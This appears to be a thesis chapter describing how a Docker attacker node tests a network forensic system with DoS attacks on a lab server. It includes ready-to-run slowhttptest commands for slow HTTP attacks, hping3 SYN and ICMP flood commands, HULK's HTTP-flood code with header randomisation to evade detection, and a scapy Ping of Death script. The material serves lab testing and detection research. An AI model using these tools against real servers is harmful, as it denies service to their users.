
This chapter is about the system testing through the use of the node attacker. To test the forensic system, will be performed the attacks used to train the model, which are HTTP flood attack and several slowHTTP attacks. Furthermore, the system will be tested for three more attacks, the Ping of Death, the ICMP flood and the SYN flood. To perform these attacks have been chosen the software HULK, to test the HTTP flood, the software slowhttptest for the slowHTTP attacks, a custom code for the Ping Of Death and hping3 for the ICMP flood and the SYN flood.

\section{The attacker node}

As the other nodes of the network, has been chosen \cmd{ubuntu:22.04} as base for its stability, robustness and extensive package repository. The first tools to be installed are the iputils-ping, iproute2 and socat, whose utilty is critical for the network configuration and testing. Indeed, the first tests to be executed were simply related to the connection availability, by means of ping. 
The second test is related to a simple TCP packet sent from the attacker to a port opened in the server node, to test the tcpLife and tcpTracer tools.
To install the tools HULK and slowhttptest, several build tools are required:

\begin{lstlisting}[language=bash, caption={Dockerfile attacker}, label={lst:dockerfileAttacker}]
FROM ubuntu:22.04

# Update package list
RUN apt-get update

# Install IP utilities
RUN apt-get install -y iputils-ping && apt-get install -y iproute2 iptables socat

# Install build tools and libraries
RUN apt-get install -y git make g++ automake autoconf libtool pip
RUN apt-get install -y git libssl-dev libev-dev libevent-

[...]
\end{lstlisting}

Next, it follows the installation of both Slowhttptest and HULK, performed in both cases by following the instruction provided in the README.md file of the repository.

\begin{lstlisting}[language=bash, caption={Dockerfile attacker}, label={lst:dockerfileAttacker2}]
RUN git clone https://github.com/shekyan/slowhttptest.git
WORKDIR /slowhttptest
RUN ./configure && \
    make && \
    make install
RUN rm -rf /slowhttptest

# Install HULK
RUN git clone https://github.com/Hyperclaw79/HULK-v3.git
WORKDIR /HULK-v3
RUN pip install -r requirements_linux.txt
WORKDIR /
\end{lstlisting}

To perform the SYN flood attack or the ICMP flood attack instead, it is possible to use the tool hping3. To automatically install it within the Dockerfile, it is crucial the setting of the \cmd{DEBIAN\_FRONTEND} variable as \cmd{noninteractive}. It tells the packet manager \cmd{apt-get} to run without prompting for user input, which is essential for automated builds where no human interaction is possible. This procedure is necessary because the installation procedure of hping3 requires the setting of the timezone. Next, the local time and the timezone files are set in Madrid zone. Finally, after the installation of the package \cmd{tzdata}, the timezone gets applied without prompting the for user info thanks to \cmd{--frontend noninteractive} flag. The setting of the timezone is also useful to synchronise the nodes on the same time. 

\begin{lstlisting}[language=bash, caption={Dockerfile attacker}, label={lst:dockerfileAttacker3}]
[...]
ENV DEBIAN_FRONTEND=noninteractive

# Preconfigure tzdata with the desired timezone
RUN ln -fs /usr/share/zoneinfo/Europe/London /etc/localtime && \
    echo "Europe/Madrid" > /etc/timezone && \
    apt-get update && \
    apt-get install -y tzdata && \
    dpkg-reconfigure --frontend noninteractive tzdata

RUN apt-get install -y hping3 
[...]
\end{lstlisting}

Finally, as explained in the chapter \cmd{Virtual Network}, the service of the attacker node, coded in the \cmd{docker-compose.yml} is exactly the same.

\begin{lstlisting}[language=yaml, caption=Attacker dockercompose.yml, label=lst:dockercomposeAttacker]
attacker:
  build: 
    context: ./attacker
    dockerfile: Dockerfile_attacker
  entrypoint: entrypoints/ep_attacker.sh
  #privileges for network needed to add a new IP route
  cap_add:
    - NET_ADMIN
  depends_on:
    - rc_router
  #put the container in a loop in order to access it with bash
  command: 
    - "/bin/sleep"
    - "infinity"  
  networks:
    RCnet_left:
      ipv4_address: 10.0.1.99
\end{lstlisting}

\section{Slowhttptest}
SlowHTTPTest is an open-source application, designed to simulate Slow HTTP attacks against web servers. The tools can simulate several types of attack by simply twitching its options.
It is possible to perform a Slowloris attack, that opens multiple connections to the server and keeps them alive by sending partial HTTP requests at a regular interval. By not completing the requests, Slowloris forces the server to keep the connections open, eventually consuming all the available resources, denying the access to legitimate users. To perform this attack, after the installation of the tool, it is just necessary to run the command:

\begin{lstlisting}[language=bash, caption={Slowloris attack}, label={lst:Slowloris}]
slowhttptest -c 1000 -H -g -i 10 -r 200 -t GET -u http://10.100.0.2:3000/ -x 24 -p 3
\end{lstlisting}

in which:
\begin{itemize}
    \item \texttt{-c 1000}: Number of connections to keep open.
    \item \texttt{-H}: Tells the program to use the Slowloris method.
    \item \texttt{-i 10}: Time interval between follow-up header fragments.
    \item \texttt{-r 200}: Rate of connections per second.
    \item \texttt{-t GET}: Type of request (GET method).
    \item \texttt{-u http://10.100.0.2:3000/}: Target URL of the server.
    \item \texttt{-x 24}: Length of the partial request sent.
    \item \texttt{-p 3}: Number of follow-up probes.
\end{itemize}

Another possible attack is the Slow HTTP POST, that consists in sending a complete HTTP header to the victim, but with a large content length specified in the header. The body, then, is sent very slowly. The victim waits for the completion of the operation before processing the request and close the connection. To perform this attack:

 \begin{lstlisting}[language=bash, caption={Slow HTTP POST attack}, label={lst:SLOWPOST}]
slowhttptest -c 3000 -B -i 110 -r 200 -s 8192 -t POST -u http://10.100.0.2:3000/ -x 10 -p 3
\end{lstlisting}

in which:
\begin{itemize}    
  \item \texttt{-c 3000}: Establish 3000 connections to the server.
  \item \texttt{-B}: Uses slow body mode (also known as R-U-Dead-Yet).
  \item \texttt{-i 110}: Interval of 110 seconds between sending follow-up data fragments.
  \item \texttt{-r 200}: Rate of 200 new connections per second.
  \item \texttt{-s 8192}: Content-Length header value of 8192 bytes.
  \item \texttt{-t POST}: HTTP verb.
  \item \texttt{-u http://10.100.0.2:3000/}: Target URL of the server.
  \item \texttt{-x 10}: Maximum length of follow-up data, up to 10 bytes.
  \item \texttt{-p 3}: Timeout of 3 seconds for probe connections to wait for an HTTP response before marking the server as DoSed.
\end{itemize}

Slow read attack instead is achieved by advertising a very small TCP window size. As a result, the server's resources are exhausted to keep the connection open and wait for the client to be ready to receive more data.

 \begin{lstlisting}[language=bash, caption={Slow read attack}, label={lst:SLOWREAD}]
slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u http://10.100.0.2:3000/ -p 3
\end{lstlisting}

in which:
\begin{itemize}
  \item \texttt{-c 8000}: Establish 8000 connections to the server.
  \item \texttt{-X}: Use Slow Read mode, reading HTTP responses slowly.
  \item \texttt{-r 200}: Rate of 200 new connections per second.
  \item \texttt{-w 512}: Start value for the TCP advertised window size range (512 bytes).
  \item \texttt{-y 1024}: End value for the TCP advertised window size range (1024 bytes).
  \item \texttt{-n 5}: Interval of 5 seconds between read operations.
  \item \texttt{-z 32}: Number of bytes to read from the receive buffer with each read() operation.
  \item \texttt{-k 3}: Number of times the resource is requested per socket in the Slow Read test.
  \item \texttt{-u http://10.100.0.2:3000/}: Target URL.
  \item \texttt{-p 3}: Timeout of 3 seconds for probe connections to wait for an HTTP response before marking the server as DoSed.
\end{itemize}

Finally, there is the Range Header in which the attacker sends multiple overlapping or conflicting range headers, which can exhaust server memory or processing capacity as it tries to handle these complex requests.
Range headers are part of the HTTP protocol that allow clients to request specific portions of a file from a server instead of downloading the entire file, which is useful for resuming interrupted downloads, streaming media files, or efficiently retrieving large files.

 \begin{lstlisting}[language=bash, caption={Range header attack}, label={lst:RANGEHEADER}]
slowhttptest -R -u http://10.100.0.2:3000/ -t HEAD -c 1000 -a 10 -b 3000 -r 500
\end{lstlisting}

in which:
\begin{itemize}
  \item \texttt{-R}: Use Range Header attack mode, sending malicious Range request header data.
  \item \texttt{-u http://host.example.com/}: Target URL.
  \item \texttt{-t HEAD}: Use the HTTP HEAD method.
  \item \texttt{-c 1000}: Establish 1000 connections to the server.
  \item \texttt{-a 10}: Start value of the range-specifier for the Range Header attack.
  \item \texttt{-b 3000}: Limit value of the range-specifier for the Range Header attack.
  \item \texttt{-r 500}: Rate of 500 new connections per second.
\end{itemize}

 Here it is an example of request with Range header attack:

\begin{lstlisting}[language=HTTP]
GET /largefile.zip HTTP/1.1
Host: www.example.com
Range: bytes=0-1023,1024-2047,2048-3071,3072-4095,0-1023
\end{lstlisting}

\section{HULK}
HULK (HTTP Unbearable Load King), originally designed by Barry Shteiman, is an attack program designed to perform DoS attack, specifically targeting web servers. The aim is to generate high levels of traffic to a web server, effectively testing its capacity to handle large-scale requests. It was a valuable resource for understanding server limitations and identifying potential vulnerabilities in web infrastructure. The HULK attack operates at the application layer (layer 7) of the OSI model, focusing on overwhelming web servers with a flood of HTTP requests. The core mechanism consists in sending a massive number of HTTP GET requests to the target server. To evade the detection and bypass caching mechanisms, the various elements of the HTTP requests are varied, including different users-agents, referrers and URL parameters. By making it appearing like sparse request form multiple sources and vary in content, the detection of the attack results challenging. The multi-threading approach makes it even more dangerous, presenting the request independently and increasing the rate.

For this project have been used two versions of HULK, obtaining different results.

\subsection{HULK}
%Barry Shteiman 
This first version, implemented by Barry Shteiman, appears to be the one used to train the model. Initially coded in python2, it has been transformed in python3, loaded in a shared folder and used to test the system.
The program consist in a loop of 500 cycles, each one creating the same thread. Each thread run a function until the response of the function is \cmd{code 500} (Http Internal Server Error). The function is called \cmd{httpcall} and is the core of the program.

\begin{lstlisting}[language=Python, caption=Python Function: httpcall]
def httpcall(url):
    useragent_list()
    referer_list()
    code = 0
    param_joiner = "&" if "?" in url else "?"
    request = urllib.request.Request(
        url + param_joiner + buildblock(random.randint(3, 10)) + '=' + buildblock(random.randint(3, 10))
    )
    request.add_header('User-Agent', random.choice(headers_useragents))
    request.add_header('Cache-Control', 'no-cache')
    request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
    request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5, 10)))
    request.add_header('Keep-Alive', str(random.randint(110, 120)))
    request.add_header('Connection', 'keep-alive')
    request.add_header('Host', host)
    
    try:
        urllib.request.urlopen(request)
    except urllib.error.HTTPError as e:
        set_flag(1)
        print('Response Code 500')
        code = 500
    except urllib.error.URLError as e:
        sys.exit()
    else:
        inc_counter()
        urllib.request.urlopen(request)
    return code
\end{lstlisting}

 The first two functions \cmd{useragent\_list()} and \cmd{referer\_list()} are called to populate the global lists \cmd{headers\_useragents} and \cmd{headers\_referers} with predefined values. These lists contain various user-agent strings and referrer URLs to make the requests appear to come from different sources. The reason why this functions get called in each thread is to create a separate and independent environment, from which choose randomly the elements of the lists. This improves the safety of the thread and the randomisation. 
 The line \cmd{param\_joiner = "\&" if "?" in url else "?"} checks if the URL already contains a query parameter (indicated by the presence of a ``?'' character). If it does, param\_joiner is set to \&, to append additional parameters, if not, \cmd{param\_joiner} is set to ``?'', to start the query parameters. \cmd{urllib.request.Request()} function create a request object, whose URL is modified to include random query parameters generated by the buildblock function. The buildblock function creates a random string of ASCII characters of a specified length. This makes each request slightly different.
 Afterwards, there are a set of \cmd{request.add\_header()} functions whose aim is to complicate the request and make the answer as long as possible and consume the bigger amount of resources as possible, by adding:
 \begin{itemize}
     \item a User-Agent header to the request, randomly chosen from the headers\_useragents list. The User-Agent header is used to identify the client software making the request.
     \item a Cache-Control header to the request, with the value no-cache. This instructs the server and any intermediaries not to cache the response.
     \item an Accept-Charset header, indicating the character encodings that the client can understand.
     \item a Referrer header to the request. The Referrer is randomly chosen from the headers\_referers list and appended with a random string. This makes it appear that the request is coming from a different page.
     \item adds a Keep-Alive header to the request with a random value. The Keep-Alive header is used to indicate how long the client wants to keep the connection open.
     \item adds a Connection header with the value keep-alive, which requests that the server keep the connection open for multiple requests/responses.
     \item adds a Host header with the value of the host global variable, which was extracted from the URL.
 \end{itemize}
Finally, the function attempts to open the URL and send the request. If an \cmd{HTTPError} occurs, the flag is set to 1 and the code as 500, which means that the thread has terminated its target. If no errors occur, the counter is incremented and the request is sent again.

To run the tool:

\begin{lstlisting}[language=Bash, caption=HULK command]
python3 hulkBasic/1hulk.py http://10.100.0.2:3000
\end{lstlisting}

Another version of the attack, installed in the Dockerfile, allows performing the attack making use of a botnet. HULK-v3 is a forked version of the original HULK, that offers greater flexibility in customising attack parameters, providing the simulation of a wider range of traffic patterns and behaviours.  It consists of 3 components: the server, the client and optionally a GUI. The core of the tool is the client component, responsible of the bot or agent that send the asynchronous HTTP request towards the designated target. The Client initiates a continuous stream of asynchronous HTTP requests to the target server. With multi-threading, multiple instances of the Client can be spawned to intensify the volume of the requests. After executing a specified number of attacks, the Client compiles a list of status messages detailing the outcome of each request. In response to this outcome, the Client triggers or not the Server to stop the attack. Originally, as shown previously, the tool was conceived as a single instance script but with the introduction of the Server component the Clients are provided of a better communication and coordination. The communication happens by means of TCP WebSockets for bidirectional communication, allowing the tool to simulate a Distributed DoS attack.

To execute the tool with the same effect of the first version, run the server in one terminal:

\begin{lstlisting}[language=Bash, caption=HULKv3 server command]
python3 HULK-v3/hulk_launcher.py server http://10.100.0.2:3000
\end{lstlisting}

and the client in the other, using only one bot:

\begin{lstlisting}[language=Bash, caption=HULKv3 client command]
python3 HULK-v3/hulk_launcher.py client -n 1
\end{lstlisting}

\section{Hping3 and Ping of Death}
Hping3 is an open-source network tool designed to send custom TCP/IP packets and display target replies similarly to the tool ping, but with much more flexibility and capability. Indeed, it supports a wider range of protocols like TCP, UDP, ICMP and RAW-IP allowing the user to craft packets for specific needs. It is possible to create packets with custom parameters such as source and destination addresses, ports, flags and payloads. The tool can be used as network scanner, performance tester and DoS tester. In this context, the focus will be on the DoS applications.
The tool has been used to performed both a SYN flood attack and an ICMP flood attack. 

\begin{lstlisting}[language=bash, caption={SYN flood attack}, label={lst:SYNFLOOD}]
hping3 -S -p 3000 --flood 10.100.0.2
\end{lstlisting}

in which:
\begin{itemize}
    \item \texttt{-S}: Specifies the use of the SYN flag in the TCP packets.
    \item \texttt{-p 3000}: Sets the destination port to 3000.
    \item \texttt{--flood}: Enables flood mode, sending packets as fast as possible.
    \item \texttt{10.100.0.2}: The target IP address.
\end{itemize}

\begin{lstlisting}[language=bash, caption={ICMP flood attack}, label={lst:ICMPFLOOD}]
hping3 -p 3000 --icmp --flood 10.100.0.2
\end{lstlisting}

in which:
\begin{itemize}
    \item \texttt{-p 3000}: Sets the destination port to 3000.
    \item \texttt{--icmp}: Specifies the use of ICMP (Internet Control Message Protocol) packets.
    \item \texttt{--flood}: Enables flood mode, sending packets as fast as possible.
    \item \texttt{10.100.0.2}: The target IP address.
\end{itemize}

The last attack tested has been the Ping of Death, which is a type of DoS attack in which the attacker sends oversized ICMP packets to a target. Since the standard ICMP packets are of 56 Bytes (84 Bytes combined with the header), the victim may not be prepared to handle properly the oversized packet, filled up to the maximum size allowed, that is 65,535 Bytes. The attack has been coded in python by simply following the definition:

\begin{lstlisting}[language=Python, caption={Ping of Death Attack Script in Python}]
from scapy.all import *

# Change according with your IP addresses
SOURCE_IP="10.0.1.1"
TARGET_IP="10.100.0.2"
MESSAGE="T"
NUMBER_PACKETS=5000 # Number of pings

pingOFDeath = IP(src=SOURCE_IP, dst=TARGET_IP)/ICMP()/(MESSAGE*60000)
send(NUMBER_PACKETS*pingOFDeath)
\end{lstlisting}

The tool \cmd{scapy}, imported in the first row, is used for network packet manipulation and analysis. The function IP(), from scapy, create an IP packet with a source and destination set. The operator \cmd{/} in scapy is used to stack protocols on top of each other. This means that after the protocol IP it is put the ICMP() and finally the payload. The payload, as already explained, is set to 60000, in order to overcome the normal size of 56 Bytes of the normal ICMP packets.
Finally, the message is sent \cmd{NUMBER\_PACKETS} times.

